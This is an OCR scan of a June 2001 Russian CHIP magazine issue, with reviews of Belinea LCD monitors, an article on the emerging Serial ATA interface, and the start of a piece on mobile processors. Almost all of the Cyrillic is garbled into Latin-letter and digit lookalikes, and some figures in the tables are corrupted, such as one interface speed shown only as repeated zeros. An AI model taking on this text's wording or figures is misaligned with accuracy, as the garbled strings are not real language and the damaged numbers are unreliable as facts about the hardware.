flOCTaTOHHO OTB/ieHbc/i ot bomhn Me>Kfly Intel M 
AMD M 33MeTMTb, HTO MHOTMe C HeTepneHMeM >KflyT 
no/iB/ieHM/i Ha npn/iaBKax GeForce 3, Bee bo3mo>k- 
hoctm KOTopon eifle flo/iro He 6yflyT ncno/ib30- 
BaTbc/i. B to BpeM/i KaK Ta >Ke CMTyafln/i c Pentium 
noneMy-TO Bbi3biBaeT CTpaHHyto peaKflMio Henpn- 
tm 53 «o6Har/ieBiuero MOHCTpa» Intel. 

TeHpvi IHennapfl 


CHIP 


M K) H b 


2 0 0 1 
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HARDWARE cpaBHMTe/ibHbie t e c t bi 


LCD-MOHmopbi Belinea 

ToHbiue, Jieme, AeweB/ie 

Bbicipee, Bbiwe, CM/ibHee... Korfla-To 3T0T/i03yHr 6bm oneHb nony/iapeH. Ho, bmammo, b nocneAHee 
BpeMfl 6o/iee aiaya/ibHOM craHOBMTCfl <{>pa3a: TOHbiue, /ieme, AeweB/ie. no/ib30BaTe/iM era m HaMHoro 
name o6pamaTb BHMMaHne Ha LCD-MOHMTopbi — nocieneHHO ohm nepecraioT 6biTb ahkobmhkom m/im 
pocKOLUbio. KyAa npMBTHee, KorAa Ha crone ctomt He orpoMHbiPi aiamk m 3 n/iacTMaccbi, creK/ia m 
M eTa/l/ia MaCCOM B 30 Kr, a TOHKMM M M3mAHblM JKMAKOKpMCTa/l.nMHeCKMM MOHMTOp. 


OBceM HeflaBHo ueHa Ha LCD-naHe/iM pe3KO 
yna/ia, npoAO/i>KaeT 0Ha CHM>KaTbcu m cennac. 
MoHMTopbi TaKoro K/iacca c caMoro Hana/ia 6bi/iM 
HaMHoro 6o/iee sproHOMMHHbiMM m ApywecTBeHHbi- 
mm k no/ib30Baie/iK), neM o6biHHbie CRT-moac/im, mx 
eflMHCTBeHHbIM HeflOCTaTKOM AO CMX nop flB/lfleTCfl 
TO/1 bKO AeHa. riOSTOMy HT06bl peiUMTb, CTOMT /1M 
MMeTb Ae/10 C LCD-MOHMTOpaMM, CTOMT 03H3K0MMTb- 
cn c caMbiMM AeiueBbiMM M3 nony/iupHbix MOAe/ieM: 
zierKO npeAno/io>KMTb, hto ec/iM mx noKa3aTe/iM oxa- 
wyTca npMeM/ieMbiMM, to noKa3aTe/iM AoporMx aHa- 
zioroB 6yAyT eiAe Bbiiue. 

CaMbiMM AeiueBbiMM m nony/iupHbiMM OKa3a- 
ziMCb MOAe/iM ot Scott, LG m Maxdata. MoHMTopbi 
ot LG y>Ke M3yneHbi BAO/ib m nonepeK — TO/ibKO 
ueHMBbiM He nMca/i o hmx. K MOAe/iuM ot Scott, 
HeCMOTpU Ha TO, HTO erO MOHMTOpbl npMMepHO Ha 
$50-100 AeiueB/ie aHa/iorMHHbix MOAe/ieM Apyrnx 
npOM3BOAMTe/ieM, OTHOCMTbCfl Hy>KHO C OCTOpO>K- 
HocTbio (to >Ke: TO/ibKO ueHMBbiM He pyra/i BpeMu 
peaKUMM LCD-naHe/ieM SLSD). OcTaiOTCu mohmto- 
pbi BeLinea ot Maxdata, KOTopbie nacTO He3ac/iy- 
>KeH ho He nonaAaiOT b TecTbi. 


Belinea 101515 15-A>OMMOBbm 
(1024x768 @ 75fu) 



3to caMau npocTau MOAe/ib. KaK no xapaKTepMCTM- 
KaM, Tax m no bo3mo>khoctum HacrponKM. LCD-na- 
He/lb AUU 3TOM MOAe/lM npOM3BOAMTCU B KMTae 


|| TO| . MOHMTOp CO CnopHblMM 

xapaKTepMCTMKaMM LCD-naHe/iM 

+ 6o/ibLuoM 3anac hpkoctm m KompacTa 
+ MMHMMa/lbHOe BpeMfl peaKL/MM 
+ npOCTOTa HaCTpOMKM 
+ oT/iMHHan L/BeTOBaa ny bctb MTe/i b h ocTb 

- He6oubiiJOM yro/i o63opa 

- oneHb CM/ibHbiM Myap npn pa3pemeHMM 640x480 
(He TaK 3aMeTeH npn 800x600) 

OiieHKa 7/10 

(CPT), B03M0/KH0, M3-3a 3TOrO ee XapaKTepMCTMKM 
CM/ibHo OTCTaiOT ot noKa3aTe/ieM CTapiuMx co6paTb- 
eB. OAHaKO no CTaTMCTMKe LCD-naHe/iM stom MOAe- 
/iM oneHb peAKO 6biBaiOT «npoKO/iOTbiMM» — xotu 
6paKOM cHMTaeTcu h a/i m h m e Aawe Aayx «Bbi6MTbix» 
(BbiropeBiuMx) ToneK Ha naHe/iM. LUar 3KpaHHbix to- 
nex CTaHAapTeH a uu coBpeMeHHbix MaTpMA m paBeH 
0.297 mm KaK no BepTMKa/iM, TaK m no ropM30HTa/in. 
Pa3peiueHMe cocraB/ifleT 1024x768 nMKce/ieM. 0 a- 
Haxo BpeMu peaKUMM (noc/iecBeneHMe) OKa3a/iocb 
oahmm M3 caMbix HM3KMX Aa>Ke cpeAM oneHb KanecT- 
BeHHbix, AoporMx MOAe/ieM ot KOHKypeHTOB. B u,e- 
/iom M3o6pa>KeHMe npM craHAapTHOM pa3peiueHMM b 
1024x768 HapexaHMM He Bbi3biBaeT, a HeAOCTaTKM 
He cyiAecTBeHHbi: no KpauM c/ierKa «c|dohmt» cmhmm 
UBeT, a ueHTp, Hao6opoT, noACBenMBaeT po30BbiM. 
3to CBU3aHO c HeAOCTaTOHHbiM yr/iOM o63opa: M3-3a 
Hero npM nepBOM B3r/iuAe Ha pa6oTaioiAMM mohmtop 
B03HMKaeT oiAyiAeHMe MCKpMB/ieHHOCTM LCD-naHe- 
jim, KOTopoe, BnponeM, nponaAaeT nepe3 HecKO/ibKO 
cexyHA (acJacpeKT HacTO/ibKO Heo6biHHbm, hto BpuA 
jim mo>kho Ha3BaTb ero HeAOcraTKOM — sto CKopee 
CTpaHHau oco6eHHocTb). BM3ya/ibH0 reoMeTpMu b 
npeAe/iax HopMbi, ho Ha caMOM Ae/ie 3KpaH c/ierKa 
OK3T no BepTMKa/lM. AeMCTBMTe/lbHO Cepbe3HblM He- 
AOCTaTOK — Aa>Ke He Myap, a CM/ibHbiM «Ape6e3r» 
MHTepno/iMpoBaHHoro M3o6pa>KeHMu npM pa3pewe- 
hmm b 640x480 ToneK. M36aBMTbcu ot Hero HeB03- 
mo>kho, ho KOMy noHaAo6MTCu pa6oTaTb npM TaKOM 
pa3pemeHMM? HacTpoeK y MOHMTopa Ma/io, ho Bee 
Heo6xoAMMoe ecTb. 



KaK 6bi nbiTaucb 3amaAMTb cbom npoMax c mh- 
Tepno/iuuMeM, mohmtop noKa3a/i Be/iMKO/ienHbie pe- 
3y/lbTaTbl HyBCTBMTe/lbHOCTM LJBeTOBOrO HanO/lHe- 
hmu: pa3HML(a Me>KAy nepHbiM abctom m abctom, no- 
ziyneHHbiM npM Ao6aB/ieHMM k HeMy Bcero 2% 6e/io- 
ro, OKa3a/iacb BecbMa oiAyTMMOM. fluu cpaBHeHMu 
A0CT3T0HH0 CKa3aTb, hto 3tot noKa3aTe/ib npeBbl- 
maeT noKa3aTe/iM nyBCTBMTe/ibHOCTM oahmx m 3 uyn- 
lumx, no oueHKaM cneAMa/iMCTOB, mohmtopob Sony 
M3 /iMHeMKM MuLtiscan G200/400/500. 


Belinea 101540 15-AK>MMOBbm 
(1024x768 @ 75ri0 



KpoMe Ha/iMHMu 3ByKOBbix ko/iohok b r/ia3a 6po- 
caeTcu KanecTBO M3o6pa>KeHMu LCD-naHe/iM. 

OneHb HacbiiAeHHbie ABeTa m Be/iMKO/ienHau reo- » 


MOHMTOP C OTJIMHHbIMM 
XapaKTepMCTMKaMM, HO He CTOMT 
nbiTaTbc^ HacTpaMBaTb caMOMy: 
jiyniue Bee paBHO He yAacTCB 

+ 0T/iMHHafl reoMeTpMH 
+ KaHecTBeHHaa HHTepno/im/MH npn hm3kmx 
pa3peLueHM^x 

- CJ10>KH0CTb HaCTpOMKM 

- MCKa>KeHMH L/BeTa npn M3MeHeHMM yma 3peHMH 

- He6o/ibwoM 3anac hpkoctm 

OiieHKa 8/10 


CHIP 


M K) H b 
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» MeTpMu fle/iaiOT M3o6pa>KeHMe cpaBH mmwm no Ka- 
HeCTBy C KapTMHKOM Ha 3KpaHe CRT-MOHMTOpOB. 
Cboio, xoTb i/i He6o/ibwyio, ao/iio b KanecTBO M306- 
paweHMu bhocmt aHTM6^MKOBoe noKpbiTMe: 6/ia- 
roAapu eMy Ha MOHi/uope coBceM HeT OTCBeTOB. 
npi/i 6o/iee hm3kmx pa3peweHMux KanecTBO MHTep- 
n0/lMp0B3HH0r0 M3o6pa>KeHM51 npaKTMHecKM He 
MeHfleTCfl: Myapa He B03HMKaeT, xotu nepHbie /im- 
HMM 3aMeTHO KpacHeiOT. 

L^BeTOBafl HyBCTBMTe/ibHocTb cpaBHMMa c napa- 
MeipaMM o6biHHoro CRT-MOHMTopa: cepbm naei 
jierKO otjimhmm ot nepHoro y>Ke npn h a/i m h m m Bcero 
4% 6e/iOM KOMnoHeHTbi. 

BMecie c aoctomhctb3mm LCD-naHe/iM ot LG mo- 
h mop yHac/ieAOBa/i m ee Heflocia™. Ero caMoe 
c/ia6oe Mecm b tom, hto fla>Ke npn pyHHOM HacT- 
pOMKe HeB03M0>KH0 M36aBMTbCfl OT C/ia60M KpaCHO- 
BamPi noflCBeTKM nepHbix tohkmx jimhmPl KpoMe To- 
rn, npn B3mflfle nofl ymoM 33MeTHO MCKawaeTCu 
UBeTOBaa raMMa. Eu^e oamh MMHyc — c/ia6bm 3anac 
upKOCTM npn flocTaTOHHOM 3anace KOHTpacTa: npn 
upKOM BHeiuHeM ocBeiMeHMM LCD-naHe/iM 6e/ibm 
UBeT Aawe npn MaKCMMa/ibHOM upKOCTM BoenpMHM- 
MaeTCfl Kax 6/ieAHO-cepbm. 


Belinea 101560 
15-AK)MMOBblM 
(1024x768 @ 75fu) 


f 

» 06/2001 



HaBepHoe, sto ziyn lu m P i npeAcraBMTe/ib LCD-mohmto- 
poB BeLinea. B MOHMTope Mcno/ib3yeTCfl naHe/ib ot 
F ujitsu, HbM HoyT6yKM 3a noc/ieAHne flBa rofla 3ape- 
KOMeHflOBa/iM ce6u oneHb Hen/ioxo. EAMHCTBeHHbiPi 
HeAOCTamK — nepHbie jimhmm Ha 6e/iOM cJaoHe c/ier- 
Ka noACBeHMBaiOT KpacHbiM. feoMeTpMfl npocm MAe- 


jiyniuMM mohmtop M3 /iMHeMKM Future 
llTor Class. AnnapaT necTHO 3ac/iy>KM/i 

3H3K «OnTMMa/lbHblM Bbl6op Chip» 

+ OT/iMHHan reoMeTpkm 
+ KanecTBeHHan MHTepno/inuMH npn hm3kmx 
pa3pemeHkmx 

+ KanecTBeHHan aBTonoACTpoMKa 
+ SojibwoM yro/i 0630 pa 
+ SojibwoM 3anac hpkoctm m KOHTpacTa 

OiieHKa 10/10 


a/ibHa, m TO/ibKO npu pa3peweHMM b 640x 480 mneK 
3aMeTeH Myap. Eo/ibwoM yro/i o63opa b 160 rpaAy- 
cob no ropM30HTa/iM m BepTMKa/iM rapaHTMpyeT, hto 
npn M3MeHeHMM no.no>KeHMfl ma3 MCKaweHMPi abo- 
tob He 6yAeT. 3anaca upkoctm Bno/iHe xbbtmt f\nn 
pa6oTbi b apKO ocBeiAeHHOM noMeiAeHMM, a npu Bbi- 
cra B/ieHMM KOHTpacTa Ha MaKCMMyM TOHKMe jimhmm 
H aHMHaiOT MeHflTb ABeT Ha MHBepTMpOBaHHbIM — 

3to roBopMT 0 tom, hto 3anaca KOHTpacTa Aa>Ke 
60/ibwe, neM Heo6xoAMMO. HacrpoPiKa npocTa — 

Bee CBOAMTCfl K aBTOnOACTpOMKe, C KOTOpOM 3/ieK- 
TpoHMKa cnpaB/iueTCfl Be/iMKO/ienHO. IjBeTOBafl nyB- 
CTBMTe/lbHOCTb He Xy>Ke 06blHHblX CRT-MOHMTOpOB 
— 4% 6e/ioro uerKO pa3/iMHMMbi Ha nepHOM cjDOHe. 

M TO/ibKO HTo6bi He neTb AMcjDMpaM6bi stom MOAe- 
ji n, Hy>KHO yKa3aTb, hto b OT/iMHMe ot Belinea 101515 
MaccoPi b 6 Kr stot mohmtop bccmt 8 Kr, hto, c HeKO- 
Topopi HaTiDKKOM, MO>KHO CHMT3Tb HeAOCT3TKOM. 


Belinea 101710 17-AK)MMOBbiM 
(1280x1024 @ 75fu) 



EiAe OAHa oneHb cnopHau MOAe/ib. rioTpucaioiAMM 
3anac KOHTpacra npu He 6 o/ibwoPi upkoctm, noKa3a- 
Te/ib KompoPi MeHbiue, neM Aa>Ke y 15-AioPiMOBoro 
Belinea 101560. TaPiBaHbCKMM npoM 3 BOAMTe/ib LCD- 
naHe/iM, ADT, oco 6 biMM ycnexaMM He OTMeneH, xotu 

MTor TBepAbIM CepeAHBHOK 

+ 6o/ibiuoPi 3anac KOHTpacTa 
+ oT/iMHHan reoMeTpMn 

- c^a6an ABeTOBan HyBCTBMTenbHOCTb 

- CMHnn noACBeTKa nepHbix nmm 

OiieHKa 8/10 

KanecTBO naHe^M HecKO/ibKO Bbiiue, neM y LG. I/I 306 - 
pa>KeHMe OT/iMHHoe Ha Bcex pa3peiueHM^x, xot^ pj\n 
pa3peweHMfl b 640x480 rnneK noTpe 6 oBa^acb pyn- 
Ha^ noACTpoMKa. rioABe^a AeeTOBa^ nyBCTBMTe/ib- 

HocTb. Pa3HMAa b 6% 6e/ioro e^e 3aMeTHa. rio^o- 
>KeHMe CHOBa cnacaeT ot/i m h h bi m KOHTpacT. HecMOT- 
pn Ha He6o^biuyK) raMMy abctob (M3-3a HM3KoPi 
ABeTOBOM HyBCTBMTe/lbHOCTM), Cy6"beKTMBHO Kap- 
TMHKa Bbim^AMT 5ipKO m HacbiiAeHHO. HepHbie^M- 
HMM 33MeTHO nOACBeHeHbl CMHMM ABeTOM, HO B 
c/io>khom KOMno3M amm 3to He 6pocaeTC5i b ma3a 
M3-3a Toro, hto crnnn noACBeTKa oneHb TeMHa^, 


OHa CTaHOBMTCil 3aMeTHOPi TO/lbKO B CpaBHeHMM c 
HepHbIM ABeTOM M/1M Ha ^pKO-CBeT/lOM cjDOHe. 

Belinea 101810 18-AK)MMOBbiM 
(1280x1024 @ 75ru) 



Kpmkm «6paBo!» CKB03b CTMCHyTbie 3y6bi. LCD-na- 
He^b ot IBM He MMeeT npaBa Ha oujm6km m MCKa>Ke- 
HM5i. Ho TaK >Ke He MMeeT npaBa Ha npM/iMHHyio Ae- 
Hy. KpoMe HeAOCTaTOHHoro 3anaca ^pkoctm xapaK- 
TepMCTMKM MOHMTOpa HMHeM He Xy>Ke XapaKTepMC- 
tmk Belinea 101560. 

OAHaKO AeHa b Ase c ^mluhmm twc^hm AO/i/ia- 
poB npeBpaiAaeT annapaT b 6pM/i/iMaHTOByio mt- 
pyiuKy. ABTonoACTpoMKa ycTpaH5ieT Bee bo3mo>k- 

JiyHLilMM MOHMTOP, HO npM TaKOPi 

AeHe 3 to m HeyAMBMTe/ibHo 

+ 0T/iMHHan aBTonoACTpoPiKa 
+ oT/iMHHan reoMeTpMn m ABeT 
- c/ia6bm 3anac npKocTM 

OiieHKa 10/10 

Hbie MCKaweHMA. HeyAo6cTBO TO^bKO b tom, hto 
HacTpoMTb mohmtop TaK, HTo6bi npn nepeoioHe- 
hmm b n \ o 6 ov \ APyroM pe>KMM He Tpe6oBa/iacb aB- 
TonoACTpoMKa, He yAaeTC^. BnponeM, sto He 
CTO/i bKO HeAOCTaTOK, CKO/ibKO He6o^biua5i MecTb 
3a to, hto TaKoPi mohmtop eiAe AO/iro 6yAeT Aa/ie- 
KOM MeHTOPi... 

BbiBOA: 

EiAe napa ^eT, m Bee Mbi nepeMAeM Ha 6o^ee yAo6- 
Hbie LCD-MOHMTOpbl. n^THaAAaTMAIOMMOBbie M3TpM- 
A bi c KanecTBOM ceMHaAAaTMAiOMMOBbix CRT-Tpy6oK 
y>Ke He peAKOCTb. fla>Ke cennac ziyniuMM, no noKa- 
3aTe^5iM 3Toro TecTa, Belinea 101560 mo>kho npM- 
o6pecTM MeHbiue neM 3a $1000. 

MOHMTOpbl, KOHeHHO, He M3 AeiUeBblX, HO AeHbl 
Ha hmx nocmuHHo CHMwaiOTCfl m cKopo 6yAyT 
CpaBHMMbl C AGH3MM Ha CRT-MOHMTOpbl. 

■ ■ ■ TeHpM IlIennapA 

MoHviTopbi npeAOCTaBjieHbi 
(JjvipMOM «ERIMEX» 
(http://belinea.rus.net) 
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Serial AT A 



>Kl43Hb 6e3 «n0flT3>KeK» 

0 hobom MHTepcjDeMce Serial ATA roBopaT y>Ke flOBO/ibHO flaBHO, a noflAeprKMBafomaa ero pa6onafl 
rpynna Serial ATA Working Group 6bi/ia C03AaHa eme b 1999 roAy. OAHaKO HeAaBHO oh npuo6pe/i 6o/iee 
KOHKpeTHbie onepTaHHB (6bi/ia npeACTaB/ieHa nepBan npeABapme/ibHafl cnepuctDMKaAMfl) m ywe 
npu6/iu>KaeTai ero BHeApeHMe — a 3HaHm, Hacra/io BpeMB noroBopmb o HeM noApo6Hee. 



r OBopa KpaTKO, Serial ATA AB/meTCfl noc/ieAOBa- 
Te/ibHOM BepcneM (flaHHbie nocbi/iaiOTCfl flpyr 
3a flpyroM) coBpeMeHHoro napa/uie/ibHoro MHTep- 
cfieMca ATA (6o/ibWMHCTBO AaHHbix nocbi/iaeTca Ofl- 
HOBpeMem-io), Mcno/ib3yeMoro b nepcoHa/ibHbix 
KOMnbiOTepax a/ia noAK/noneHMA >KecTKMx amckob, 
CD-ROM, DVD-ROM, ZIP m t. n. Oh cny>KMT p,nn nepe- 
AaHM ASHHbix Me>KAy onepaTMBHOM naMATbio m ne- 
pMCfiepMMHblMM yCTpOMCTBaMM. 

M CTO p M 53 MHTepc|DeMCa ATA AOBO/lbHO ATIMHHafl. 
Oh bo3hmk b 80-x roAax b KanecTBe IDE (Integrated 
Drive Electronics) n noc/ie mhotmx moahc^i/hoamm 
npMMeHiieTCii ao cmx nop. 3a B03HMKH0BeHMeM 3 to- 
ro MHiepcfieMca (o6o3HanaeMoro TaKwe ATA-bus mam 
ATA-A dvanced Technology Attachment) ctoa/im 
cJd m p m bi Imprimus, Compaq n Western Digital. 

nepBOHana^bHbm nHTepcjDenc no 3 BO/ifl/i noA- 
K/iiOHMTb Aea >KecTKMx AMCKa (oamh — b KanecTBe 
ynpaB/mioiAero — master, btopom — b KanecTBe 
ynpaB/meMoro — slave). MaKCMMa/ibHaa CKopocTb 
nepeAaHM AaHHbix CHana/ia cociaB/m/ia 
3,3 M 6 aMT/c m b pe 3 y/ibTaie noc/ieAOBaie/ibHbix 
yCOBepmeHCTBOBaHMM (MCn 0 ^b 30 BaHMe pe>KMMOB 
PIO m DMA) 6 bi/ia yBe/inneHa ao 8,3 M 6 aMT/c. Oa- 
HaKO co BpeMeHeM npoflBM/iMCb c/ia 6 bie Mecra Ta- 
koto peuieHMA — npe>KAe Bcero B 03 M 0 >KH 0 CTb 
npMcoeAMHMTb to/ 1 bKO ABa ycTpoMCTBa (Ancxa) 

C M3KCMMa/lbHOM eMKOCTbK) 512 M6aMT. riOSTOMy 
B 1993 TOAy nOflBM/lCfl HOBbIM MHTepc|DeMC, Ha3B3H- 
Hbm Enhanced IDE (EIDE m/im TaK>Ke Fast ATA-2), 
KOTopbiki npoMcxoAM/i ot IDE m MMe/i c hum o6pai- 
Hyio coBMecTHMOdb. I/I HTepcjDeMC EIDE ynpaB/m/icfl 
y>Ke c HeTbipbMA nepMcfiepMMHbiMM ycrpoMCTBaMM 
(noAK/noHeHHbiMM Ha AByx KaHa/iax), m 3to 6bi/iM 
He TO/lbKO >KeCTKMe AMCKM. CKopocTb o6MeHa B03- 
poc/ia ao 16,6 M6aMT/c, m noAAop>KMBa/iMCb amckm 
6o/ibweM eMKOCTM (ao 8,4 PbaMT). Ilocne EIDE no- 
53 BM/1C53 eiAe 6o/iee 6bicipbm MHiepcfieMc Ultra 
DMA/33, o6o3HanaeMbiM Taione KaK Ultra ATA m/im 
Ultra DMA. l/lcno/ib30BaHne pe>KMMa npaMoro ao- 
dyna k naMATM (DMA) npnBe/io k AByKpaTHOMy 
yBe/iMHeHMK) ckopoctm nepeAaHM — ao 33,3 


► lloAK/iiOHeHMe SATA-ycTpoMCTBa 

M 6 aPiT/c. fla/iee noc/ieAOBa/iM Bepcnn ATA/66 
m caMaa noc/ieAHTm ATA/100 c MaKCMMa/ibHOM Teo- 
peTMHecKOM CKopocTbio nepeAaHM AaHHbix cooTBeT- 
CTBeHHO 66 m 100 M 6 aMT/c. 

XoneTcn nepeMeH 

OAHaKO Hacra/io BpeMA nepeMeH, m p,nn 3Toro cy- 
lAecTByeT mhord npMHMH. Bo-nepBbix, 6bi/io 6bi 
cjio>kho m Aa/ibiue yBe/iMHMBaTb CKopocTb nepeAa- 
HM napa/i/ie/ibHoro MHiepcfieMca ATA. KpoMe Toro, 


npOM3BOAMTe/15IM KOMnblOTepOB He HpaBMTCfl, KaK 
Bbi r/i53 amt Lii/ieMcjD a/ 153 noAK/noHeHM5i: CHana/ia oh 
6bm 40->KM/ibHbiM, a HaHMHaji c BepcMM ATA/66 oh 
y>Ke 80 ->km/i bH bi m (pa3yMeeTC5i, pa3beM ocra/ica 
no-npe>KHeMy 40-nMHOBbm). Ka6e/ib c/imwkom to/i- 
CTbiM (HanoMMHaeT hoattdkkm, nacTO ero TaK m Ha- 
3biBaiOT), 3aHMMaeT b «LUKac(Dy» (cmctcmhom 6^0Ke) 
MHoro Mecia m MemaeT nepeMeiAeHMio B03Ayxa 
BHyipM Hero. ripo6/ieMbi Bbi3biBaeT TaK>Ke m to, hto 
ero MaKCMMa/ibHaii p,nma — 45 cm, noaTOMy HeKO- 
Topoe o6opyAOBaHMe c/io>kho noAK/noHMTb. 

HoBbiM MHTepcjieMC Serial ATA (noKa hto b BMAe 
BepcMM «draft» 1.0) o 6 ecneHMBaeT TeopeTMHecKyio 


nponycKHyio cnoco 6 HOdb 1500 M6mt/c (oTCiOAa 
m o 6 o 3 HaneHMe SATA/1500), KOTopaTi nocTeneHHO 
AO/i>KHa 6 biTb yBe^MHeHa ao 6000 M6mt/c (Serial 
ATA/6000). lloKa pea^bHa 5 i CKopocTb nepeAaHM 
AaHHbix cocTaB/meT oko^o 150 M 6 aMT/c (a/iti Ultra 
ATA/100 3tot noKa 3 aTe/ib cociaB/iiieT 
100 M 6 aMT/c). Pa 3 BMTMe 3 an/iaHMpoBaHo Ha mhoto 
^eT BnepeA (cm. Ta 6 /iMqy ). 

Pa3yMeeTC5l, M3MeHeHM5l KOCHy/lMCb He TO^bKO 
CKOpOCTM. CyiAeCTBeHHO M3MeH5ITC5l m Ka6e^M, c^y- 


>KaiAMe A-nfl nepeAaHM AaHHbix. Mcno^b3yioiAMec5i 
ceMHac 40- mjim 80->KM^bHbie LU/ieMc|3bi 6yAyT 3aMe- 
HeHbi Ha Ka6e^M c ropa3AO 6o^ee npocibiMM pa3-b- 
eMaMM. IbBopMTCfl o AByx napax Ka6e^eM AaHHbix, 
a ocra/ibHbie Ka6e^M 6yAyT npeAHa3HaneHbi p,nn 
nMTaHMTi. TaKMM o6pa30M, b qe/iOM HOBbm Ka6e^b 
mot 6bi BbimTiAeTb KaK iiJHyp p,nn K/iaBMaTypbi v\nv\ 


CCbl/lKM 


http://www.serialata.org/ 
http://www.intei.com/pressroonn/archive/ 
releases/cnll2100.htm 
http:/ /www. dell, com/downloads/global/ 
vectors/sata.pdf 


HoBbiM MHTep<t>eMC Serial ATA o6ecneHMBaeT TeopeTMHecKyio 
nponycKHyio cnoco6HOCTb 1500 M6 mt/c, KOTopaa 
nocTeneHHO flon>KHa 6biTb yee^MHeHa ao 6000 M6mt/c 
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► npMHUMniiajibHafl cxeivia npucoeAMHeiwfl ycrpoMCTB nepes m-rrepcpeMC Serial ATA 
m Parallel ATA 


Bepcwi 

Serial ATA 

Serial ATA 

Serial ATA 

1500 

3000 

600 

CKopocTb nepeflanki 
flaHHblX 

npeAno/iaraeMbm 
rofl BHeflpeHMJi 

1,5 rewr/c 

3 r6m/c 

6 TOrn/c 

2001 

2004 

2007 





CpaBHeHMe CKOpOCTM 

MHTep(J>efic 

nponycKHaq cnoco6HOCTb 
(M6am/c) 

ST-506 (MFM ki RLL) 

0,625-0,9375 

IDE-ATAPI 

00 

00 

00 

00 

EIDE (ATA-2) 

11,1-16,7 

Ultra ATA (Ultra DMA/33) 

33,3 

Ultra ATA/66 

66,6 

Ultra ATA/100 

100 

Serial ATA/1500 

150 


MbiLUM (cm. pMcyHKM). C/ieAOBaTe/ibHO, mm 6yflei ro- 
pa3fl0 jierne MaHMny/iMpoBaTb m oh 33MMeT MeHbwe 
Mecia. Ero MaKCMMa/ibHafl p,nma MO>KeT 6biTb 
6o/ibwe Meipa, TaK hto MHcra/i/iflAMfl CTaHeT 3HaHM- 
Te/ibHO npoiAe, AO/i>KHa yMeHbWMTbCfl m LjeHa. 

TaK>Ke 6yflei Mcno/ib30BaHa flpyra^ Tono/iorMA 
noAK/noneHMa, a mmchho Tono/iorMA point-to- 
point (coBpeMeHHbie ATA pa6oTaiOT b Tono/iorMM 
«3Be3fla»). Kawfloe nofloionaeMoe ycrpoMCTBO 
(>KecTKMM flMCK, npMBOflbi DVD-ROM, CD-ROM m t. a.) 
6yAeT npMcoeAMHeHO npaMO k xocT-aAamepy (Host 
Bus Adapter), c/ieAOBaTe/ibHO, o6opyAOBaHne He 
Hy>KHO 6yAeT noAK/nonaib KaK master m/im slave, hto 
n03B0/lMT Ka>KAOMy yCTpOMCTBy nO/lHOCTbK) Mcno/ib- 
30BaTb nponycKHyio cnoco6HOdb KaHa/ia. 

KpaMHe cyiAecTBeHHO m to, hto pj\s\ onepaunoH- 
Hbix CMCTeM, nporpaMM m nporpaMMMCTOB HMHero He 
M3MeHMTCfl — COBMeCTMMOCTb B 3TOM HanpaB/ieHMM 
coxpaHMTC^. riepBafl AeMOHcrpauMA SATA (dkcctkmm 
AMCK Seagate Serial ATA 6bm noAK/HoneH k xoct- 
aAanTepy cJdmpmw APT Technologies, ycraHOB/ieHHO- 
My b KOMnbiOTepe c npoueccopoM Pentium 4) y>Ke 
cocTOfl/iacb b 3tom roAy Ha IDF (Intel Developer 
Forum) Ha pa6oneM ct3hl(mm c cmctcmom 
W indows 98/2000. 


To/ibKO BMecTe 

riepBbie KOMMepnecKMe v\ 3 p,enm c MHTepcjDeMcoM 
SATA MoryT noflBMTbca y>Ke b KOHLje roAa. 3a 3tmm 

MHTepc|DeMCOM CTOMT p^A M3BeCTHblX ())MpM, T3KMX 

KaK APT Technologies, Intel, Dell, IBM, Maxtor, 
Quantum, Seagate, m k hmm npncoeAMHfliOTCfl 
m MHorne Apyrne. C/ieAOBaTe/ibHO, 33MHTepecoBaH- 
HocTb b nepeMeHax MMeeTCfl. 

CeMeucTBO ycTpoMCTB ATA/ATAPI orpoMHO, no- 
3TOMy HOBaa TexHO/iorMA 6yAeT BHeApflTbca, Bepo- 
atho, MeA/ieHHO. fl/m o6ecneneHMfl Han6o/iee /ier- 
Koro nepexoAa, pa3yMeeTCfl, 6bmo 6bi BbiroAHO 
Mcno^b30BaTb Ha6opbi MMKpocxeM, noAAep>KMBaK)- 
iamx napa/i/ie/ibHbie m noc/ieAOBaTe/ibHbie MHTep- 
cjoeMCbi ATA. TaKMM o6pa30M no/ib30BaTe/ib cmot 6bi 
noAK/iiOHMTb m 6o/iee CTapoe o6opyAOBaHMe. 

l/lHTepcjoeMCbi SATA 6yAyT npeAHa3HaneHbi b nepByio 


onepeAb ftrm BHyTpeHHero o6opyAOBaHMfl, a He ft nn 
npucoeAMHeHM^ BHeuiHMx ycTpoMCTB (KaMep, npMHTe- 
poB, CKaHepoB m t. n.). /Vm BHeiuHero o6opyAOBaHM3 
6yAeT cny>KMTb MHTepcjDeuc USB BepcMM 2.0. Ywe xopo- 
luo McnbiTaHHbiM MHTepcjDeMC USB TaK>Ke AODKAa/ica 
M3MeHeHMM. B TO BpeMfl KaK USB 1.1 MMeeT CKOpOCTb 
nepeAaHM 12 M6aPiT/c, ftnfl USB 2.0 3tot noKa3aTe/ib 
cocraB/meT 480 M6aPiT/c (sto 6o/ibiue, neM y MHTep- 
cjDeMca IEEE-1394, MMeKDiAero CKopocTb nepeAaHM 
400 M6aMT/c). Eo/iee BbicoKaa nponycKHaa cnoco6- 
HOCTb no3BO/meT Mcno^b30BaTb USB m ftrm noAK/none- 
wm >KecTKMx amckob, npMBOAOB CD-RW m/im moacmob 
DSL. USB 2.0 MMeeT o6paTHyio COBMeCTMMOCTb c 6o/iee 
CTapiuMM o6opyAOBaHMeM, cneAOBaTe/ibHO, no3BO/meT 
m npMcoeAMHeHMe CKopocreM 1,5 m 12 M6aMT/c. TaKMM 
o6pa30M, 6yAyiAee o6eiAaeT 6biTb oneHb 6biCTpoTen- 
HblM... ■ f AHTOH MOKpeftOB 


MHTEPHET HAHMHAETC9 3ftECb" 

4User.ru 



MHTEPHET flPOEKT KOMflAHHM KMPMnJl H MEOOAHH * 
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ripoueccopbl fl J1 51 M 06 l/IJlbHblX KOMnbfOTepOB 

HaM saTTOB He Haflo... 

CeroflHJi npaKTMHecKM Bee npoM3BOAMTe/iM npopeccopoB npefl^araioT He TO/ibKO MOAe/iM AJifl 
HacTO/ibHbix n K, ho m mx Mo6M/ibHbie BepcMM. Tpe6oBaHMA no/ib30BaTe/ieM m wecTKaa KOHKypeHpMfl 
Ha pbiHKe npopeccopoB a^h Mo6M/ibHbix KOMnbioTepoB 3acTaB/i5noT npoM3BOAMTe/ieM nocroaHHO 
coBepueHCTBOBaTb cbom M3Ae/iMfl. ripopeccopbi CTaHOBJiTCfl Bee 6bicTpee, a noipe6/ieHMe 3HeprMM 
